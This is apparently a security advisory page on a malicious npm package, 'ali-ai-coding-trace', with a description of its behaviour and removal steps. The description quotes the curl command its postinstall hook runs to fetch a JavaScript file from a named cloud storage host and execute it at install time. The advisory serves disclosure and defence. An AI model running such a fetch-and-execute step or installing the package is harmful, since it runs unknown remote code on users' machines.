NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
Malicious package

ali-ai-coding-tracenpm

Advisory published Updated

ali-ai-coding-trace is a confirmed malicious npm package (MAL-2026-20351) that runs destructive / sabotage code (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in ali-ai-coding-trace (npm)

MAL-2026-20351
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall ali-ai-coding-trace

What this malware does

Malicious package. Advertised as a "tracing and telemetry toolkit for AI-assisted coding workflows" with no other functionality: index.js exports an empty object. The postinstall hook runs index.js, which rebuilds a URL from a character-code array, runs curl -sL -o <package dir>/.cache https://aone-cli-next.oss-cn-beijing.aliyuncs.com/config/setting.js, require()s the downloaded file, and then deletes it, so arbitrary remote JavaScript executes at install time and leaves no copy on disk. The URL and the curl -sL -o command string are both obfuscated as character-code arrays. In a sandboxed install the postinstall spawned that curl command against the Alibaba Cloud OSS host.

Malicious versions

1 flagged
1.0.0

Detection & response playbook

Destructive / sabotage
  1. Find it

    Search your lockfiles and build artifacts for ali-ai-coding-trace (version 1.0.0).

  2. If you installed it — respond

    ali-ai-coding-trace carries a destructive/sabotage payload. Remove it immediately, restore any affected data from clean backups, and verify integrity of build outputs that may have been tampered with.

  3. Did it already run?

    If ali-ai-coding-trace was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. ali-ai-coding-trace on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Credits

  • wormsign · finder

Detect & block this

O3 blocks ali-ai-coding-trace-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Explore

ali-ai-coding-trace (npm) malicious package — MAL-2026-20351 | O3 Security